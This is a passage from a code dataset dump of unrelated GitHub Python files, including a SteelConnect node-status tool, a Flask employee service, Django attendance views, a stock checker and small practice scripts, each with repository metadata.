sites.extend(get_sites(baseurl_config, auth, scm, org))\n nodes.extend(get_nodes(baseurl_reporting, auth, scm, org))\n print(\"Checking {}, version {} ({}ms)...\"\n .format(scm, realm_fw, time_taken))\n else: # no CSV file, specific realm specified\n scm = args.scm if args.scm else get_scm()\n org = args.organisation if args.organisation else get_organisation()\n username = args.username if args.username else get_username()\n password = args.password if args.password else get_password(username)\n auth = (username, password)\n baseurl_reporting = 'https://' + scm + '/api/scm.reporting/1.0/'\n baseurl_config = 'https://' + scm + '/api/scm.config/1.0/'\n time_before = time()\n org_id = find_org(baseurl_config, auth, org)\n time_after = time()\n time_taken = round((time_after-time_before)*1000, 2)\n realm_fw = get_realm_fw(baseurl_config, auth, scm)\n sites = get_sites(baseurl_config, auth, scm, org_id)\n nodes = get_nodes(baseurl_reporting, auth, scm, org_id)\n\n if not args.csv:\n print(\"Checking {}, version {} ({}ms)...\"\n .format(scm, realm_fw, time_taken))\n\n if args.csv:\n # This produces the CSV output\n print('SCM Realm,Organisation,Site,Model,State,Firmware,Serial')\n else:\n # print layout for overview\n print('*' * 155)\n print(' {0:25} {1:15} {2:61} {3:10} {4:10} {5:12} {6:16}'\n .format('SCM Realm', 'Organisation', 'Site',\n 'Model', 'State', 'Firmware', 'Serial'))\n print('*' * 155)\n # instead of showing the codenames, show the actual product names\n model = {\n 'xirrusap': \"Xirrus AP\",\n 'raccoon': \"SDI-AP3\",\n 'koala': \"SDI-AP5\",\n 'aardvark': \"SDI-S12\",\n 'sloth': \"SDI-S24\",\n 'kodiak': \"SDI-S48\",\n 'yogi': \"SDI-VGW\",\n 'booboo': \"SDI-AWS\",\n 'paddington': \"SDI-AZURE\",\n 'panda': \"SDI-130\",\n 'ewok': \"SDI-330\",\n 'grizzly': \"SDI-1030\",\n 'cx570': \"570-SD\",\n 'cx770': \"770-SD\",\n 'cx3070': \"3070-SD\",\n 'tiger1g': \"SDI-2030\",\n 'panther': \"SDI-5030\"\n }\n\n node_counter_total = 0\n node_counter_offline = 0\n node_counter_online = 0\n\n for site in sites:\n for node in nodes:\n # make sure a serial is specified and ignore shadow appliances\n if node.serial:\n if (node.site_id == site.site_id):\n node_counter_total += 1\n # remove the codenames from the node's firmware version\n firmware_version = re.sub('-[a-z].*', '', node.fw_version)\n if args.csv:\n print(node.scm+','+site.org_name+','+site.longname+','+str(model.get(node.model, \"unknown\"))+','+node.state+','+firmware_version+','+node.serial)\n else:\n # node = offline\n if (node.state != \"online\"):\n node_counter_offline += 1\n # use red colour for offline nodes\n print(\"\\033[91m {0:25} {1:15} {2:61} \"\n \"{3:10} {4:10} {5:12} {6:16}\\033[00m\"\n .format(node.scm, site.org_name, site.longname,\n str(model.get(node.model, \"unknown\")),node.state,\n firmware_version, node.serial))\n # else: node = online\n else:\n node_counter_online += 1\n # use green colour for online nodes\n print(\"\\033[0;32m {0:25} {1:15} {2:61} \"\n \"{3:10} {4:10} {5:12} {6:16}\\033[00m\"\n .format(node.scm, site.org_name, site.longname,\n str(model.get(node.model, \"unknown\")),node.state,\n firmware_version, node.serial))\n if not args.csv:\n # print total amount of nodes\n print(\"\\nTotal: {} nodes ({} online, \"\n \"{} offline)\\n\".format(str(node_counter_total),\n str(node_counter_online),\n str(node_counter_offline)))\n\n\ndef find_org(url, auth, organisation):\n \"\"\"Find the org id for the specified organisation.\"\"\"\n orgs = get(url + 'orgs', auth=auth)\n org_found = [org for org in orgs if org['name'] == organisation]\n if not org_found:\n org_found = [org for org in orgs if org['longname'] == organisation]\n if not org_found:\n print(\"\\nCould not find and org with name '{0}'\".format(organisation))\n sys.exit(1)\n org = org_found[0]\n Org = collections.namedtuple('Org', ['id', 'name'])\n org = Org(org['id'], org['name'])\n return org\n\n\ndef get_sites(url, auth, scm, org):\n \"\"\"Get list of sites for specified organisation.\"\"\"\n sites = get(url + 'org/' + org.id + '/sites', auth=auth)\n Site = collections.namedtuple('Site', ['scm', 'site_id', 'name',\n 'longname', 'city', 'org_id', 'org_name'])\n site = [Site(scm, site['id'], site['name'], site['longname'],\n site['city'], site['org'], org.name) for site in sites]\n site.sort(key=lambda x: x.longname.casefold())\n return site\n\n\ndef get_nodes(url, auth, scm, org):\n \"\"\"Get list of nodes for specified organisation.\"\"\"\n nodes = get(url + 'org/' + org.id + '/nodes', auth=auth)\n Node = collections.namedtuple(\n 'Node', ['scm', 'node_id', 'serial', 'state', 'model',\n 'site_id', 'org_id', 'fw_version'])\n node = [Node(scm, node['id'], node['serial'], node['state'],\n node['model'], node['site'], node['org'],\n node['firmware_version'] or 'N/A') for node in nodes]\n return node\n\n\ndef get_realm_fw(url, auth, scm):\n \"\"\"Get firmware for specified realm.\"\"\"\n try:\n status = get(url + 'status', auth=auth, single=True)\n realm_fw = status['scm_version'] + '-' + status['scm_build']\n except Exception as e:\n realm_fw = \"< 2.9\"\n return realm_fw\n\n\ndef open_csv(file):\n \"\"\"Import CSV file with auth details, sort on SCM\"\"\"\n try:\n with open(file, \"rt\") as f:\n reader = csv.DictReader(f)\n orgs = []\n for row in reader:\n orgs.append(row)\n orgs = sorted(orgs, key=lambda d: (d['scm']))\n except IOError:\n print('Error: File {0} does not exist.'. format(file))\n else:\n return orgs\n\n\ndef arguments(argv):\n \"\"\"Get command line arguments.\"\"\"\n description = (\n 'Get node status from SCM.'\n )\n parser = argparse.ArgumentParser(description=description)\n parser.add_argument(\n '-s',\n '--scm',\n type=str,\n help='Domain name of SteelConnect Manager',\n )\n parser.add_argument(\n '-o',\n '--organisation',\n type=str,\n help='Name of target organisation',\n )\n parser.add_argument(\n '-u',\n '--username',\n help='Username for SteelConnect Manager: prompted if not supplied',\n )\n parser.add_argument(\n '-p',\n '--password',\n help='Password for SteelConnect Manager: prompted if not supplied',\n )\n parser.add_argument(\n '-f',\n '--file',\n help='CSV file to import',\n )\n parser.add_argument(\n '-c',\n '--csv',\n dest='csv',\n action='store_true',\n help='Output comma-delimited values',\n )\n return parser.parse_args()\n\n\ndef get_scm(scm=None):\n \"\"\"Get SCM in a Python 3 compatible way.\"\"\"\n prompt = 'Enter SCM realm (e.g. mydemo.riverbed.cc): '\n while not scm:\n scm = input(prompt)\n return scm\n\n\ndef get_organisation(org=None):\n \"\"\"Get organisation name in a Python 3 compatible way.\"\"\"\n prompt = 'Enter organisation: '\n while not org:\n org = input(prompt)\n return org\n\n\ndef get_username(username=None):\n \"\"\"Get username in a Python 3 compatible way.\"\"\"\n prompt = 'Enter SCM username: '\n while not username:\n username = input(prompt)\n return username\n\n\ndef get_password(username, password=None):\n \"\"\"Get password from terminal with discretion.\"\"\"\n prompt = 'Enter SCM password for {0}:'.format(username)\n while not password:\n password = getpass.getpass(prompt)\n return password\n\n\ndef get(url, auth, single=False):\n \"\"\"Return the items request from the SC REST API\"\"\"\n try:\n response = requests.get(url, auth=auth)\n response.raise_for_status()\n except requests.HTTPError as errh:\n print('\\nERROR:', errh)\n sys.exit(1)\n except requests.ConnectionError as errc:\n print('\\nERROR: Failed to connect to SCM, '\n 'please check your credentials.')\n sys.exit(1)\n except requests.RequestException as e:\n print(e)\n sys.exit(1)\n else:\n if response.status_code == 200:\n if single:\n return response.json()\n else:\n return response.json()['items']\n else:\n print('=' * 79, file=sys.stderr)\n print('Access to SteelConnect Manager failed:', file=sys.stderr)\n print(response, response.content, file=sys.stderr)\n print('=' * 79, file=sys.stderr)\n sys.exit(1)\n\n\nif __name__ == '__main__':\n result = main(sys.argv[1:])\n","repo_name":"bakermat/steelconnect_node_status","sub_path":"steelconnect_node_status.py","file_name":"steelconnect_node_status.py","file_ext":"py","file_size_in_byte":11449,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"13228659076","text":"\"\"\"\r\nThis service is used for flak app\r\n\"\"\"\r\nimport json\r\nimport uuid\r\nfrom json import JSONEncoder\r\nfrom random import Random\r\n\r\n\r\nclass Employee():\r\n def __init__(self, id, name, email):\r\n self.id = id\r\n self.name = name\r\n self.email = email\r\n\r\n\r\nclass EmployeeEncoder(JSONEncoder):\r\n def default(self, o):\r\n return o.__dict__\r\n\r\n\r\n\r\nlist_my = []\r\nemp_dic = {}\r\n\r\nemp1 = Employee(1, \"ravi\", \"ravi@gmail.com\")\r\nemp2 = Employee(2, \"pratik\", \"pratik@gmail.com\")\r\nemp3 = Employee(3, \"mahesh\", \"mahesh@gmail.com\")\r\n\r\nemp_dic[emp1.name] = emp1.__dict__\r\nemp_dic[emp2.name] = emp2.__dict__\r\nemp_dic[emp3.name] = emp3.__dict__\r\n\r\nlist_my.append(emp1.__dict__)\r\nlist_my.append(emp2.__dict__)\r\nlist_my.append(emp3.__dict__)\r\n\r\nprint(EmployeeEncoder().encode(emp1))\r\n\r\n\r\n\r\n# key- email value-empObject\r\n#https://pynative.com/make-python-class-json-serializable/\r\n\r\n\r\ndef get_all_employee_data():\r\n return list_my\r\n\r\ndef get_all_employee_data_list():\r\n return list_my\r\n\r\ndef register_employee_data(json_data):\r\n flag = False\r\n if json_data:\r\n emp_temp = convert_json_to_emp(json_data)\r\n list_my.append(emp_temp.__dict__)\r\n flag = True\r\n return flag\r\n\r\n\r\n\r\ndef update_employee_data(json_data, email):\r\n flag = False\r\n if json_data and email:\r\n for emp in list_my:\r\n print(emp)\r\n if emp.get(\"email\") == email:\r\n print(\"email: \" + str(emp.get(\"name\")))\r\n\r\n old_id = emp.get(\"id\")\r\n temp = Employee(old_id, json_data.get(\"name\"), json_data.get(\"email\"))\r\n print(\"index: \" + str(list_my.index(emp)))\r\n list_my.remove(emp)\r\n list_my.append(temp.__dict__)\r\n flag = True\r\n break\r\n #list_my.insert(list_my.index(emp), temp)\r\n return flag\r\n\r\n\r\n\r\n\r\ndef delete_employee_data(email):\r\n flag = False\r\n for emp in list_my:\r\n print(emp)\r\n if emp.get(\"email\") == email:\r\n print(\"email: \" + str(emp.get(\"name\")))\r\n index = list_my.index(emp)\r\n emp_delete = list_my.__getitem__(index)\r\n #del list_my[index]\r\n list_my.remove(emp_delete)\r\n flag = True\r\n break\r\n return flag\r\n\r\ndef get_employee_data(email):\r\n for emp in list_my:\r\n print(emp)\r\n if emp.get(\"email\") == email:\r\n print(\"email: \" + str(emp.get(\"name\")))\r\n index = list_my.index(emp)\r\n emp_delete = list_my.__getitem__(index)\r\n return emp_delete\r\n return None\r\n\r\n\r\n\r\n\r\ndef convert_json_to_emp(json_data):\r\n emp_id = uuid.uuid4()\r\n return Employee(emp_id, json_data.get(\"name\"), json_data.get(\"email\"))\r\n","repo_name":"ravindrakumar2907/python_projects","sub_path":"Flask_Demo/emp_service.py","file_name":"emp_service.py","file_ext":"py","file_size_in_byte":2746,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"23365956448","text":"import cx_Oracle\n\nbookname = [0]\nconn = cx_Oracle.connect('libadmin/1234@10.10.21.33:1521/xe')\ncursor = conn.cursor()\nsql = \"SELECT * FROM libbook WHERE bookname = %s\"\nvalue = ([str(bookname)])\ncursor.execute(sql,[str(bookname)])\nresult = cursor.fetchall()\ncursor.close()\nconn.close()\n\n\ndef serching():\n user_input = str(input(\"도서 이름을 입력하세요:\"))\n if bookname == user_input:\n print(result)\n else:\n print('없는 항목입니다.')\n \n","repo_name":"CorCYM/libraryproj","sub_path":"조회기능/조회v4.py","file_name":"조회v4.py","file_ext":"py","file_size_in_byte":476,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"29737917991","text":"from audioop import reverse\nimport json\nfrom django.shortcuts import redirect, render\nfrom datetime import datetime\n\n# Create your views here.\n\nfrom django.http import HttpResponse\nfrom .models import Cursus, Student, Presence, Teacher\nfrom .forms import CursusCallForm, RegisterForm, StudentForm, PresenceForm\nfrom django.template import loader\nfrom django.views.generic.edit import CreateView\nfrom django.urls import reverse\nfrom django.shortcuts import get_object_or_404\nfrom django.contrib.auth.forms import UserCreationForm\nfrom django.contrib.auth import login, authenticate\nfrom django.contrib.auth.decorators import login_required\n\n\n\n\nclass StudentCreateView(CreateView):\n\n model = Student\n form_class = StudentForm\n template_name = 'lycee/student/create.html'\n\n def get_success_url(self) -> str:\n return reverse(\"detail_student\", args=(self.object.pk,))\n\nclass CursusCallView(CreateView):\n form_class = CursusCallForm\n template_name = 'lycee/cursuscall/detail_cursuscall.html'\n\n\nclass PresenceCreateView(CreateView):\n\n model = Presence\n form_class = PresenceForm\n template_name = 'lycee/presence/create.html'\n\n def get_success_url(self) -> str:\n return reverse(\"detail_presence\", args=(self.object.pk,))\n\n\ndef register(request):\n if request.method == 'POST':\n form = RegisterForm(request.POST)\n if form.is_valid():\n form.save()\n username = form.cleaned_data.get('username')\n password = form.cleaned_data.get('password1')\n user = authenticate(username = username, password = password)\n login(request, user)\n return redirect('index')\n else:\n form = RegisterForm()\n return render(request, 'registration/register.html', {'form': form})\n\n\ndef index(request):\n\n if request.user.is_authenticated:\n return redirect('/lycee')\n\n template = loader.get_template(\"index.html\")\n return HttpResponse(template.render())\n\n\n@login_required\ndef home(request):\n result_list = Cursus.objects.order_by('name')\n\n template = loader.get_template(\"lycee/home.html\")\n\n context = {\n \"liste\": result_list,\n }\n\n return HttpResponse(template.render(context, request))\n\n\n@login_required\ndef detail_teacher(request, teacher_id):\n\n query = Teacher.objects.get(pk=teacher_id)\n context = {'teacher': query}\n\n return render(request, 'lycee/detail_teacher.html', context)\n\n\n@login_required\ndef detail_grade(request, cursus_id):\n\n query = Student.objects.filter(cursus=cursus_id).order_by('last_name')\n cursus = Cursus.objects.get(pk=cursus_id)\n\n context = {'liste': query, 'cursus': cursus}\n\n return render(request, 'lycee/detail_grade.html', context)\n\n\n@login_required\ndef detail_student(request, student_id):\n result_list = Student.objects.get(pk=student_id)\n\n context = {'liste' : result_list}\n\n return render(request, 'lycee/student/detail_student.html', context)\n\n\n@login_required\ndef update_student(request, student_id):\n student = Student.objects.get(pk=student_id)\n form = None\n\n if request.method == 'POST':\n form = StudentForm(request.POST, instance=student)\n if form.is_valid():\n form.save()\n return redirect('detail_student', student_id)\n else:\n form = StudentForm(instance=student)\n \n return render(request, 'lycee/student/update.html', {'form': form})\n\n\n@login_required\ndef cursus_call(request, cursus_id):\n if request.method == \"POST\":\n print(request.POST)\n for student_id in request.POST.getlist('missing'):\n print(student_id)\n\n date = request.POST.getlist('date_cursuscall')\n str_date = \"\".join(date)\n\n new_missing = Presence(\n reason=\"Missing\",\n isMissing=True,\n date=str_date,\n student=Student.objects.get(pk=student_id),\n start_time=\"9:00\",\n end_time=\"17:00\",\n )\n\n new_missing.save()\n return redirect('detail_all_presence')\n\n result_list = Student.objects.filter(cursus=cursus_id).order_by('last_name')\n\n context = {'liste' : result_list}\n\n return render(request, 'lycee/cursuscall/detail_cursuscall.html', context)\n\n\n@login_required\ndef detail_presence(request, presence_id):\n result_list = Presence.objects.get(pk=presence_id)\n\n context = {'liste' : result_list}\n\n return render(request, 'lycee/presence/detail_presence.html', context)\n\n\n@login_required\ndef update_presence(request, presence_id):\n presence = Presence.objects.get(pk=presence_id)\n form = None\n\n if request.method == 'POST':\n form = PresenceForm(request.POST, instance=presence)\n if form.is_valid():\n form.save()\n return redirect('detail_presence', presence_id)\n else:\n form = PresenceForm(instance=presence)\n \n return render(request, 'lycee/presence/update.html', {'form': form})\n\n\n@login_required\ndef detail_all_presence(request):\n\n result_list = Presence.objects.all().order_by('student__last_name')\n cursus = Cursus.objects.all()\n\n context = {'cursus': cursus, 'presence': result_list}\n\n return render(request, 'lycee/presence/index.html', context)","repo_name":"VictorCyprien/WebSite-django","sub_path":"lycee/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5020,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"16065697167","text":"m = 23000\ndp = [0] * m\ndp[1] = 1\nfor i in range(2, m):\n dp[i] = dp[i-1] * i\n\nk = int(input())\n\ntry:\n idx = 1\n while True:\n if dp[idx] % k == 0:\n print(idx)\n break\n idx += 1\nexcept BaseException:\n print(k)","repo_name":"chihiro888/my-algorithm-history","sub_path":"2022/atcoder/abc280/d.py","file_name":"d.py","file_ext":"py","file_size_in_byte":252,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"34719932494","text":"#!/bin/python\n\"\"\"\n\n\"\"\"\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport sys, os\n\n\nclass PuzzleBuilder:\n\n modes = [\"maze\", \"jigsaw\",\"shuffle\"]\n Mode = \"\"\n\n def __init__(self, mode, dims, difficulty):\n for m in self.modes:\n if mode == m:\n self.Mode = mode\n print('Solving a '+self.Mode+' of '+str(difficulty)+'% difficulty')\n\n\ndef usage():\n print('')\n print('')\n\n\ndef menu_main():\n print('* __________________________ \\t*')\n print('* //|/|/|PUZZLE-BUILDER|\\x5c|\\x5C|\\x5C\\x5C')\n print('*----(((|\\__________________________/|)))----*')\n print('* //|/|/|PUZZLE-BUILDER|\\x5c|\\x5C|\\x5C\\x5C')\n print('*----------------------------------*')\n\n\ndef main():\n menu_main()\n option = input('Enter Selection: ')\n\n\nif __name__ == '__main__':\n main()","repo_name":"TylersDurden/AI","sub_path":"Algorithms/python/PuzzleBuilder.py","file_name":"PuzzleBuilder.py","file_ext":"py","file_size_in_byte":853,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"30901827364","text":"f1=open(\"NewPositiveClue.txt\")\r\nf2=open(\"NewNegativeClue.txt\")\r\nf3=open(\"OldPositiveClue.txt\")\r\nf4=open(\"OldNegativeClue.txt\")\r\nsavefile=open(\"CitationSentimentDictionary.txt\",'w')\r\nline1=f1.readlines()\r\nline2=f2.readlines()\r\nline3=f3.readlines()\r\nline4=f4.readlines()\r\n\r\nfor n,data in enumerate(line1):\r\n data=data.rstrip()\r\n savefile.write(data+'\\t=>\\tPOS\\n')\r\nfor n2,data2 in enumerate(line2):\r\n data2=data2.rstrip()\r\n savefile.write(data2+'\\t=>\\tNEG\\n')\r\n'''\r\nfor n3,data3 in enumerate(line3):\r\n data3=data3.rstrip()\r\n savefile.write(data3+'\\t=>\\tPOS\\n')\r\nfor n4,data4 in enumerate(line4):\r\n data4=data4.rstrip()\r\n savefile.write(data4+'\\t=>\\tNEG\\n')\r\n '''\r\nf1.close()\r\nf2.close()\r\nf3.close()\r\nf4.close()\r\nsavefile.close()\r\n","repo_name":"ivder/University-Project","sub_path":"Citation Sentiment_Purpose Analyzer/citation_crf++/CitationSentimentDictionary.py","file_name":"CitationSentimentDictionary.py","file_ext":"py","file_size_in_byte":755,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"29651168353","text":"from flask import Flask\nfrom flask import render_template\n\nimport feedparser\n\nansa = 'http://www.ansa.it/sito/notizie/cultura/cultura_rss.xml'\n\napp = Flask(__name__)\n\n\n@app.route(\"/\")\n@app.route(\"/\")\ndef get_news(publication=\"bbc\"):\n feed = feedparser.parse(ansa)\n return render_template(\"home.html\", articles = feed.entries)\n\nif __name__ == '__main__':\n app.run(port = 5000, debug = True)\n","repo_name":"AttiviDigitali/headlines","sub_path":"headlines.py","file_name":"headlines.py","file_ext":"py","file_size_in_byte":412,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"24074117612","text":"NUMBER_OF_ROWS = 3\nNUMBER_OF_COLUMNS = 3\nEMPTY_ROW = \"*\"\nROW_SEPARATOR = \" | \"\nSTARTING_BOARD = [\n [\"*\",\"*\",\"*\"],\n [\"*\",\"*\",\"*\"],\n [\"*\",\"*\",\"*\"]\n]\n# board\n# functions\n# win, tie, mark_sport, show, clear\nclass Board:\n def __init__(self):\n self.value = STARTING_BOARD\n\n def show_board(self):\n for row in self.value:\n row_display = ROW_SEPARATOR.join([cell for cell in row])\n print(row_display)\n\n def mark_spot(self,row,col,value):\n self.value[row][col]= value\n return self.value\n\n def turn(self):\n turn_number = 10\n for row in self.value:\n for cell in row:\n if cell == \"*\":\n turn_number -= 1\n return turn_number\n def opposite_corner(self,row,col):\n if row == 0 and col == 0:\n OPPOSITE_CORNER= (2,2)\n elif row == 2 and col == 2:\n OPPOSITE_CORNER= (0,0)\n elif row == 0 and col == 2 or row == 2 and col == 0:\n OPPOSITE_CORNER= (col,row)\n return OPPOSITE_CORNER\n\n def find_corner(self,player,corners):\n for corner in corners:\n if player == self.value[corner[0]][corner[1]]:\n return corner\n\n\n\n# Given a Board, a position, and a value(x, or O) puts the\n#value at that position on the board\n# Mark position 0,0 with an X\n# Returns\n# X | * | *\n# * | * | *\n# * | * | *\n","repo_name":"Thenryroth/tic-tac-toe","sub_path":"app/board.py","file_name":"board.py","file_ext":"py","file_size_in_byte":1398,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"13487437078","text":"\"\"\"Main module for the game\"\"\"\nimport pygame\nfrom stage import Stage\nfrom display import Display\nfrom constants import BUTTS, FIRST, FPS\n\nclass Game:\n \"\"\"Contains the main parts of the game loop\n\n Attributes:\n disp: Display class\n stage: Stage class\n running: is the game is running\n playing: is the gameplay loop is running\n scrolling: is the stage moving or not\n g_o: is the game over\n event_list: list of events used to automate inputs for testing\n \"\"\"\n def __init__(self):\n pygame.init()\n self.disp = Display()\n self.clock = pygame.time.Clock()\n self.stage = Stage(FIRST, BUTTS)\n self.running = True\n self.playing = False\n self.scrolling = True\n self.g_o = False\n self.skip_start = False\n self.event_list = []\n\n def set_stage(self, level, character):\n \"\"\"Select stage and character\n\n Args:\n level: list of platforms to be generated to the stage\n character: chosen player character\n \"\"\"\n self.stage = Stage(level, character)\n\n def run(self, timer):\n \"\"\"Runs the game loop. Has a timer feature for quick testing\n\n Args:\n timer: how many frames the loop runs\n -1 results in an infinite loop\n \"\"\"\n while self.playing:\n self.events()\n self.update()\n self.render()\n self.clock.tick(FPS)\n self.play_event()\n timer -= 1\n if timer == 0:\n self.running = False\n self.playing = False\n\n def add_event(self, event):\n \"\"\"Add event to event_list for testing purposes\n Fills list with 10 empty events in between to create delays\n\n Args:\n event: event to be added\n \"\"\"\n self.event_list.append(event)\n for _ in range(10):\n self.event_list.append(-1)\n\n def play_event(self):\n \"\"\"Plays an event from the event_list\"\"\"\n if len(self.event_list) > 0:\n event = self.event_list.pop(0)\n if event == -1:\n return\n pygame.event.post(event)\n\n def events(self):\n \"\"\"Handles game events such as key presses\"\"\"\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n self.playing = False\n self.running = False\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_SPACE:\n if self.stage.effects.powerups[\"BOINGBOING\"]:\n self.stage.player.movement.ability = True\n self.stage.player.use_ability(self.stage.platforms)\n if event.key == pygame.K_LEFT:\n self.stage.player.movement.left = True\n if event.key == pygame.K_RIGHT:\n self.stage.player.movement.right = True\n if event.type == pygame.KEYUP:\n if event.key == pygame.K_SPACE:\n self.stage.player.movement.rocket = False\n if event.key == pygame.K_LEFT:\n self.stage.player.movement.left = False\n if event.key == pygame.K_RIGHT:\n self.stage.player.movement.right = False\n\n def update(self):\n \"\"\"Updates the status and locations of sprites while checking collision\"\"\"\n if self.scrolling:\n self.stage.scroll()\n self.stage.all_sprites.update()\n self.stage.player.movement.platform_collision(self.stage.platforms)\n if pygame.sprite.spritecollide(self.stage.player, self.stage.powerups, True):\n self.stage.effects.random_powerup()\n if not self.stage.effects.powerups[\"INDESTRUCTIBILITY\"]:\n if pygame.sprite.spritecollide(self.stage.player, self.stage.baddies, True):\n self.g_o = True\n self.playing = False\n self.stage.effects.countdown()\n\n def render(self):\n \"\"\"Draws the images to the display\"\"\"\n self.disp.render(self.stage.all_sprites, self.stage.score, \\\n self.stage.effects.active, self.stage.effects.timer)\n\n def game_over(self):\n \"\"\"Shows game over screen\"\"\"\n _choice = self.disp.game_over_screen(self.stage.score, self.stage.player.character)\n if _choice == \"start\":\n self.g_o = False\n elif _choice == \"quick\":\n self.g_o = False\n self.skip_start = True\n else:\n self.quit_game()\n\n def start(self):\n \"\"\"Shows start screen\n Begins game loop when player character is chosen\n \"\"\"\n if self.skip_start:\n self.skip_start = False\n self.set_stage(FIRST, self.stage.player.character)\n self.playing = True\n return\n _character = self.disp.start_screen()\n if _character == \"FAIL\":\n self.quit_game()\n else:\n self.set_stage(FIRST, _character)\n self.playing = True\n\n def quit_game(self):\n \"\"\"Shuts down the game\"\"\"\n self.running = False\n pygame.quit()\n","repo_name":"aejmmark/mr_butts_vs_gravity","sub_path":"src/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":5149,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"14369410160","text":"from Beam import Beam6MV\nfrom Vector import Position, Direction\n\nif __name__ == '__main__':\n beam = Beam6MV(\n position=Position([0, 0, -100]),\n direction=Direction.from_angle(theta=0, phi=0),\n spread=1e-2,\n n_particles=10\n )\n phantom = None\n\n for photon in beam:\n photon.propagate(distance=100)\n print(photon)\n print()\n","repo_name":"leosporn/MonteCarloPhantom","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":380,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"2743924012","text":"\"\"\"\n------------------------------------------------------------------------\nSwitchSnatcher.py Functions\n------------------------------------------------------------------------\nAuthor: bb $kreetz\nEmail: bbskreets@protonmail.com\n__updated__ = \"2020-04-12\"\n------------------------------------------------------------------------\n\"\"\"\n\nfrom CONSTANTS import *\n\nfrom Website import Website\nfrom URLMap import urlmap\nfrom Browser import Browser\nfrom datetime import datetime\nimport time\nimport colorama\n\nURL_MAP = urlmap()\n\n\nwebsite_list = []\nposition = 12\nfor uuid in URL_MAP:\n site = Website(uuid)\n website_list.append([site, position])\n position += 1\n\n\ndef clear():\n print(\"\\x1b[2J\")\n\n\ndef reposition(x, y):\n print(\"\\x1b[{};{}H\".format(x + 1, y + 1))\n\n\ndef reset_screen():\n clear()\n reposition(0, 0)\n print(colorama.Fore.YELLOW + INTRO + colorama.Fore.RESET)\n position = 12\n reposition(position, 0)\n\n for _ in URL_MAP:\n reposition(position, 0)\n print(colorama.Fore.YELLOW + 'Loading...' + colorama.Fore.RESET)\n position += 1\n\n reposition(position + 2, 0)\n print(colorama.Fore.YELLOW + 'Press CTRL+C to go back to main menu.' + colorama.Fore.RESET)\n\n\ndef add_website(url, site_type, max_price):\n browser = Browser()\n if url not in URL_MAP.map.values():\n uuid = URL_MAP.add(url)\n website = Website(uuid, url=url, site_type=site_type, max_price=max_price)\n cur_price, in_stock, name, value = browser.check_website(website)\n website.update_website(cur_price, in_stock, name)\n created = True\n\n else:\n created = False\n\n browser.driver.close()\n\n return created\n\n\ndef remove_website(uuid):\n removed = False\n try:\n URL_MAP.remove_site(uuid)\n Website.remove_website(uuid)\n removed = True\n\n except Exception as e:\n print(f'{e}')\n time.sleep(5)\n\n return removed\n\n\ndef start_checking():\n browser = Browser()\n clear()\n count = 0\n reposition(0, 0)\n print(colorama.Fore.BLUE + INTRO + colorama.Fore.RESET)\n valid = False\n\n reset_screen()\n\n try:\n count = 0\n while not valid:\n\n website, line = website_list.pop(0)\n website_list.append([website, line])\n curtime = datetime.now()\n seconds_passed = int((curtime - website.last_checked).total_seconds())\n if seconds_passed < REFRESH_PERIOD:\n time.sleep(REFRESH_PERIOD - seconds_passed)\n\n else:\n count += 1\n cur_price, in_stock, name, item_valid = browser.check_website(website)\n website.update_website(cur_price, in_stock, name)\n\n if item_valid:\n print(colorama.Fore.GREEN + str(website) + colorama.Fore.RESET)\n time.sleep(3)\n valid = True\n\n else:\n if count == len(website_list) * 3:\n reset_screen()\n count = 0\n reposition(line, 0)\n print(colorama.Fore.RED + str(website) + colorama.Fore.RESET)\n\n except KeyboardInterrupt:\n try:\n browser.driver.close()\n time.sleep(1)\n except Exception as e:\n print(e)\n","repo_name":"bbskreets/switch-snatcher-v2","sub_path":"SwitchSnatcher.py","file_name":"SwitchSnatcher.py","file_ext":"py","file_size_in_byte":3297,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"74849775719","text":"import matplotlib.pyplot as plt\nimport numpy as np\n\nimport math\n\n\ndef get_cmap(n, name='hsv'):\n '''Returns a function that maps each index in 0, 1, ..., n-1 to a distinct\n RGB color; the keyword argument name must be a standard mpl colormap name.'''\n return plt.cm.get_cmap(name, n)\n\n\ndef visualize_lifting_coordinate_grids(grids):\n \"\"\" Visualize the coordinate grid for a lifting convolution kernel\n A lifting coordinate grid has dimension [2, spatial_1, spatial_2]\n\n :param grids: list of coordinate grids used as input for SIREN\n \"\"\"\n\n # determine dimensionality of conv kernel grid\n no_rows = math.floor(math.sqrt(grids.shape[0]))\n no_cols = math.ceil(grids.shape[0] / no_rows)\n\n fig = plt.figure()\n for grid_idx, grid in enumerate(grids):\n\n # in case of a lifting layer, we have no_group_elem 2d grids\n\n ax = fig.add_subplot(no_rows, no_cols, grid_idx + 1)\n\n x_grid = grid[0].reshape(-1)\n y_grid = grid[1].reshape(-1)\n\n ax.scatter(x_grid[0], y_grid[0], marker=\"x\", s=128)\n ax.scatter(x_grid[1:], y_grid[1:], c='#FFA8A8')\n ax.tick_params(axis='both', which='both', bottom=False, top=False, labelbottom=False, right=False,\n left=False, labelleft=False)\n # ax.set_title(f\"grid transformed for $g_{grid_idx}$\")\n\ndef visualize_group_coordinate_grids(grids):\n \"\"\" Visualize the coordinate grid for a groups convolution kernel.\n A groups coordinate grid has dimension [3, 